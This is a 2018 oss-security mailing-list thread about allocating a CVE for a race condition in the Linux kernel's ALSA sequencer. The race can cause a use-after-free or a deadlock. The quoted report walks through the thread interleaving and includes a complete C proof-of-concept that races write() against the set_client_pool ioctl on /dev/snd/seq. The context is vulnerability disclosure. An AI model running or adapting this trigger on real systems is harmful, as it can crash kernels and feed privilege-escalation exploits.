|
Message-ID: <20180116155104.GK32106@suse.de> Date: Tue, 16 Jan 2018 16:51:05 +0100 From: Marcus Meissner <meissner@...e.de> To: oss-security@...ts.openwall.com Subject: Re: sound driver Conditional competition Hi, Kurt, will you still allocate the CVE or should we ask Mitre. Ciao, Marcus On Tue, Jan 16, 2018 at 03:21:19PM +0800, luo wrote: > PRODUCT: linux kernel > VERSION: Most versions.some deadlock ,some uaf.2.6。I tested 2.6 versions, 3.10 versions, and 4.12 > PROBLEMTYPE: deadlock or uaf > REFERENCES:https://github.com/torvalds/linux/commit/b3defb791b26ea0683a93a4f49c77ec45ec96f10 > DESCRIPTION: > This vulnerability, which belong to UAF caused by race conditions, > can impact the majority of linux distribution(audio system). > > > In file seq_clientmgr.c, function snd_seq_write and > snd_seq_ioctl_set_client_pool can cause conditional competition problems > when multi-thread is used. > > snd_seq_write calls snd_seq_cell_alloc to allocate memories for cell from > client->pool. When pool is exhausted, schedule is called to switch current > thread to another thread, and add current thread to a queue for waiting. > > snd_seq_ioctl_set_client_pool calls snd_seq_pool_mark_closing to set > client->pool->closeing to 1, in order to prevent re-entrant. It also > calls snd_seq_queue_client_leave_cells to release cell. And it then calls > snd_seq_pool_done, first to release pool and allocate new pool and second > to set client->pool->closeing to 0. Function wake_up is both called in > snd_seq_queue_client_leave_cells and snd_seq_pool_done, to wake up the > thread in the waiting queue mentioned above, avoiding the use of any > wild pointer. > > All is seemed to be well designed , but there is a trick: > > > -- Thread A -- > step 1: > A calls snd_seq_write to exhaust pool. > > step 2: > snd_seq_write calls func schedule to schedule threads, now go to Thread B. > > > > -- Thread B -- > step 1: > B calls snd_seq_ioctl_set_client_pool. > > step 2: > snd_seq_ioctl_set_client_pool calls snd_seq_pool_mark_closing. > snd_seq_pool_mark_closing sets client->pool->closeing to 1. > > step 3: > Then snd_seq_ioctl_set_client_pool calls snd_seq_queue_client_leave_cells. > snd_seq_queue_client_leave_cells release the memories of cells. > snd_seq_queue_client_leave_cells calls wake_up, now back to Thread A. > > > > -- Back To Thread A -- > step 1: > A will find out that client->pool->closeing is 1, so snd_seq_cell_alloc fails. > > step 2: > Returning from snd_seq_cell_alloc to snd_seq_write. snd_seq_write also fails. > > step 3: > A now call snd_seq_ioctl_set_client_pool. > > step 4: > snd_seq_ioctl_set_client_pool calls snd_seq_pool_mark_closing. > snd_seq_pool_mark_closing sets client->pool->closeing to 1 again. > > step 5: > Then snd_seq_ioctl_set_client_pool calls snd_seq_queue_client_leave_cells. > cell is already release by B. > And because no thread is in waiting queue, so wake_up will not be called. > > step 6: > Then snd_seq_ioctl_set_client_pool calls snd_seq_pool_done. > snd_seq_pool_done release pool and allocate new pool. > snd_seq_pool_done sets client->pool->closeing to 0. > Now it's become reentrant. > > step 8: > So after a call to snd_seq_ioctl_set_client_pool, pool is new. > Thread A can call snd_seq_write many times to exhaust the memories of pool. > Then A go to sleep, now switch to thread B. > > > > -- Back To Thread B -- > step 1: > Back to snd_seq_queue_client_leave_cells, after previous call to wake_up. > > step 2: > Return to snd_seq_ioctl_set_client_pool. > snd_seq_ioctl_set_client_pool call snd_seq_pool_done. > snd_seq_pool_done release and allocate new pool. > now client->pool->closeing is already 0, and pool is new. > > > -------------------------------------------------------------------- > > Now you see, the pool allocated by thread A is now released by thread B. > And thread B allocate new pool, which is the 3rd pool. > > But in thread A, in snd_seq_cell_alloc called by snd_seq_write, the pool is > actually the 2cd pool, and meet a dead loop: > > while (pool->free == NULL && ! nonblock && ! pool->closing) > > Note the 2cd pool is released by thread B in B's snd_seq_ioctl_set_client_pool. > > Further more, if serveral threads switch between sechedule and wake_up, there will be more obvious sequelae. > > ---------------------------------------------------- > > call stack: > > thread a: > -> snd_seq_write > -> snd_seq_client_enqueue_event > -> snd_seq_event_dup > -> snd_seq_cell_alloc > -> schedule -> thread b > > thread b: > -> snd_seq_ioctl_set_client_pool > -> snd_seq_pool_mark_closing (set closeing to 1) > -> snd_seq_queue_client_leave_cells (release cell) > -> wake_up -> thread a > > thread a: > -> snd_seq_ioctl_set_client_pool > -> snd_seq_pool_mark_closing (set closeing to 1 again) > -> snd_seq_queue_client_leave_cells (already release cell by thread b) > -> snd_seq_pool_done (release pool and allocate new pool, 2cd pool; > set closeing to 0) > -> snd_seq_write > -> snd_seq_client_enqueue_event > -> snd_seq_event_dup > -> snd_seq_cell_alloc > -> schedule -> thread b > > thread b: > back to snd_seq_queue_client_leave_cells, after func wake_up > -> snd_seq_queue_client_leave_cells > -> snd_seq_pool_done (release pool and allocate new pool, 3rd pool; > set closeing to 0) > (leave 2cd pool's cell unhandled) > -> wake_up -> thread a: > > thread a: > -> snd_seq_cell_alloc: > while (pool->free == NULL && ! nonblock && ! pool->closing) > meet dead loop, now pool in thread a is the 2cd pool, has been released, > now is a wild pointer. > > > ---EOF--- > > At 2018-01-12 09:24:58, "kseifried@...hat.com" <kseifried@...hat.com> wrote: > >I'll need some details: > > > >[PRODUCT]: > >[VERSION]: > >[PROBLEMTYPE]: > >[REFERENCES]: > >[DESCRIPTION]: > > > >problemtype ideally the CWE identifier (http://cwe.mitre.org) and > >description includes product, version affected, description of problem, > >affected component, impact, etc. The references needs to be a public URL > >with details on the issue, if it's embargoed I'll need a URL where you > >plan to publish, thanks. No key found so sending plaintext. > > > > > >On 2018-01-11 06:19 PM, luo wrote: > > > >-- > > > >Kurt Seifried -- Red Hat -- Product Security -- Cloud > >PGP A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993 > >Red Hat Product Security contact: secalert@...hat.com > #include <stdio.h> > #include <sys/types.h> > #include <sys/stat.h> > #include <fcntl.h> > #include <unistd.h> > #include <stdlib.h> > > #define SNDRV_SEQ_EVENT_LENGTH_MASK (3<<2) > #define SNDRV_SEQ_QUEUE_DIRECT 253 > #define SNDRV_SEQ_EVENT_LENGTH_VARIABLE (1<<2) > #define SNDRV_SEQ_PORT_CAP_WRITE (1<<1) > //int client; > typedef int snd_seq_client_type_t; > typedef unsigned int snd_seq_tick_time_t; > typedef unsigned char snd_seq_event_type_t; > struct snd_seq_real_time { > unsigned int tv_sec; /* seconds */ > unsigned int tv_nsec; /* nanoseconds */ > }; > struct snd_seq_ev_ext { > unsigned int len; /* length of data */ > void *ptr; /* pointer to data (note: maybe 64-bit) */ > }; > struct snd_seq_addr { > unsigned char client; /**< Client number: 0..255, 255 = broadcast to all clients */ > unsigned char port; /**< Port within client: 0..255, 255 = broadcast to all ports */ > }; > struct snd_seq_client_info { > int client; /* client number to inquire */ > snd_seq_client_type_t type; /* client type */ > char name[64]; /* client name */ > unsigned int filter; /* filter flags */ > unsigned char multicast_filter[8]; /* multicast filter bitmap */ > unsigned char event_filter[32]; /* event filter bitmap */ > int num_ports; /* RO: number of ports */ > int event_lost; /* number of lost events */ > int card; /* RO: card number[kernel] */ > int pid; /* RO: pid[user] */ > char reserved[56]; /* for future use */ > }; > union snd_seq_timestamp { > snd_seq_tick_time_t tick; > struct snd_seq_real_time time; > }; > struct snd_seq_client_pool { > int client; /* client number to inquire */ > int output_pool; /* outgoing (write) pool size */ > int input_pool; /* incoming (read) pool size */ > int output_room; /* minimum free pool size for select/blocking mode */ > int output_free; /* unused size */ > int input_free; /* unused size */ > char reserved[64]; > }; > struct snd_seq_port_info { > struct snd_seq_addr addr; /* client/port numbers */ > char name[64]; /* port name */ > > unsigned int capability; /* port capability bits */ > unsigned int type; /* port type bits */ > int midi_channels; /* channels per MIDI port */ > int midi_voices; /* voices per MIDI port */ > int synth_voices; /* voices per SYNTH port */ > > int read_use; /* R/O: subscribers for output (from this port) */ > int write_use; /* R/O: subscribers for input (to this port) */ > > void *kernel; /* reserved for kernel use (must be NULL) */ > unsigned int flags; /* misc. conditioning */ > unsigned char time_queue; /* queue # for timestamping */ > char reserved[59]; /* for future use */ > }; > struct snd_seq_queue_info { > int queue; /* queue id */ > > /* > * security settings, only owner of this queue can start/stop timer > * etc. if the queue is locked for other clients > */ > int owner; /* client id for owner of the queue */ > unsigned locked:1; /* timing queue locked for other queues */ > char name[64]; /* name of this queue */ > unsigned int flags; /* flags */ > char reserved[60]; /* for future use */ > > }; > struct snd_seq_event { > snd_seq_event_type_t type; /* event type */ > unsigned char flags; /* event flags */ > char tag; > > unsigned char queue; /* schedule queue */ > union snd_seq_timestamp time; /* schedule time */ > > > struct snd_seq_addr source; /* source address */ > struct snd_seq_addr dest; /* destination address */ > > union { /* event data... */ > struct snd_seq_ev_ext ext; > } data; > }; > //gcc competition.c -o competition -lpthread > //./competition > void *thread1(void *arg) > { > struct snd_seq_event event;//??????????????????????????? snd_seq_fifo_event_in > char* buf; > int num; > int i; > int ret=0; > int fd=*(int*)arg; > struct snd_seq_client_pool pool_info; > buf=(char*)malloc(60000); > event.flags=SNDRV_SEQ_EVENT_LENGTH_VARIABLE;//snd_seq_ev_is_variable > event.data.ext.len=0xc0000770; > event.data.ext.ptr=0xffffffff; > > ///////??????????????? > event.type=130; > event.queue=0; > event.dest.client=128;//get_event_dest_client ???2?????????????????? ??????????????? accept_input //?????????????????? > //printf("client %d\n",client); > event.dest.port=0;//snd_seq_port_use_ptr port->capability????????? ????????? > num=2000/sizeof(event); > for(i=0;i<num;i++) > { > memcpy(buf+i*sizeof(event),(char*)&event,sizeof(event)); > } > ret=write(fd,buf,2000); > i=500; > while(1) > { > > ret=write(fd,buf,2000); > if(ret>0) > { > printf("write 2000 ok num=%d\n",ret); > } > else > { > i++; > printf("write fail"); > pool_info.input_pool=100; > pool_info.output_pool=i; > pool_info.client=128;//?????????????????? > //printf("client %d\n",client); > ret=ioctl(fd,1079530316,&pool_info); > if(!(ret<0)) > printf("thread1 ok snd_seq_ioctl_set_client_pool"); > } > } > > > } > void *thread2(void *arg) > { > struct snd_seq_event event; > struct snd_seq_client_pool pool_info; > int fd=*(int*)arg; > int ret=0; > int i=600; > int num; > char* buf; > sleep(3); > pool_info.input_pool=100; > pool_info.output_pool=600; > pool_info.client=128;//?????????????????? > //printf("client %d\n",client); > printf("thread2 start"); > event.flags=SNDRV_SEQ_EVENT_LENGTH_VARIABLE; > buf=(char*)malloc(60000); > event.data.ext.len=0xc0000770; > event.data.ext.ptr=0xffffffff; > num=2000/sizeof(event); > ///////??????????????? > event.type=130; > event.queue=0; > event.dest.client=128;//get_event_dest_client ???2?????????????????? ??????????????? accept_input //?????????????????? > //printf("client %d\n",client); > event.dest.port=0;//snd_seq_port_use_ptr port->capability????????? ????????? > for(i=0;i<num;i++) > { > memcpy(buf+i*sizeof(event),(char*)&event,sizeof(event)); > } > while(1) > { > sleep(3); > pool_info.output_pool=i; > i++; > if(i%2) > { > > pool_info.output_pool=600; > } > //close(fd); > ret=ioctl(fd,1079530316,&pool_info);//snd_seq_ioctl_set_client_pool > if(ret<0)//?????????????????????pool > { > printf("snd_seq_ioctl_set_client_pool fail\n"); > } > else > { > ret=write(fd,buf,2000); > if(!(ret<0)) > printf("thread2 ok write"); > ret=write(fd,buf,2000); > ret=write(fd,buf,2000); > ret=write(fd,buf,2000); > ret=write(fd,buf,2000); > ret=write(fd,buf,2000); > ret=write(fd,buf,2000); > ret=write(fd,buf,2000); > ret=write(fd,buf,2000); > ret=write(fd,buf,2000); > ret=write(fd,buf,2000); > printf("snd_seq_ioctl_set_client_pool ok \n"); > > } > > > } > > > > > } > > > int main() > { > > int fd; > struct snd_seq_client_info clent_info; > struct snd_seq_port_info port_info; > struct snd_seq_queue_info queue_info; > int ret=0; > pthread_t th; > > fd =open("/dev/snd/seq", O_RDWR); > if(fd==0) > { > printf("fail open%d\n",fd); > return 0; > } > ioctl(fd,3233567504,&clent_info);//snd_seq_ioctl_get_client_info > port_info.addr.client=128;//?????????????????? > //client=clent_info.client; > //printf("main client %d\n",clent_info.client); > port_info.addr.port =8; > port_info.capability=SNDRV_SEQ_PORT_CAP_WRITE; > ioctl(fd,3231994656,&port_info);//snd_seq_ioctl_create_port ?????? > memset(&queue_info,0x00,sizeof(queue_info)); > ioctl(fd,3230421810,&queue_info);//snd_seq_ioctl_create_queue ?????????????????? queue_info->queue > > ret=pthread_create( &th, NULL, thread1, (void*)&fd); > if(ret!=0) > { > printf("create thread11111111111111111 error!\n"); > return -1; > } > else > { > ret=pthread_create( &th, NULL, thread1, (void*)&fd); > ret=pthread_create( &th, NULL, thread1, (void*)&fd); > ret=pthread_create( &th, NULL, thread1, (void*)&fd); > ret=pthread_create( &th, NULL, thread1, (void*)&fd); > ret=pthread_create( &th, NULL, thread1, (void*)&fd); > ret=pthread_create( &th, NULL, thread1, (void*)&fd); > ret=pthread_create( &th, NULL, thread1, (void*)&fd); > ret=pthread_create( &th, NULL, thread1, (void*)&fd); > ret=pthread_create( &th, NULL, thread1, (void*)&fd); > ret=pthread_create( &th, NULL, thread1, (void*)&fd); > printf("create thread1 okokokokokokokokoko!\n"); > } > ret=pthread_create( &th, NULL, thread2, (void*)&fd); > if(ret!=0) > { > printf("create thread2222222222 error!\n"); > return -1; > } > else > { > printf("create thread2 okokokokokokokokoko!\n"); > } > //ret=pthread_create( &th, NULL, thread1, (void*)&fd); > sleep(1800); > > > return 0; > } > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > -- Marcus Meissner,SUSE LINUX GmbH; Maxfeldstrasse 5; D-90409 Nuernberg; Zi. 3.1-33,+49-911-740 53-432,,serv=loki,mail=wotan,type=real <meissner@...e.de>
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.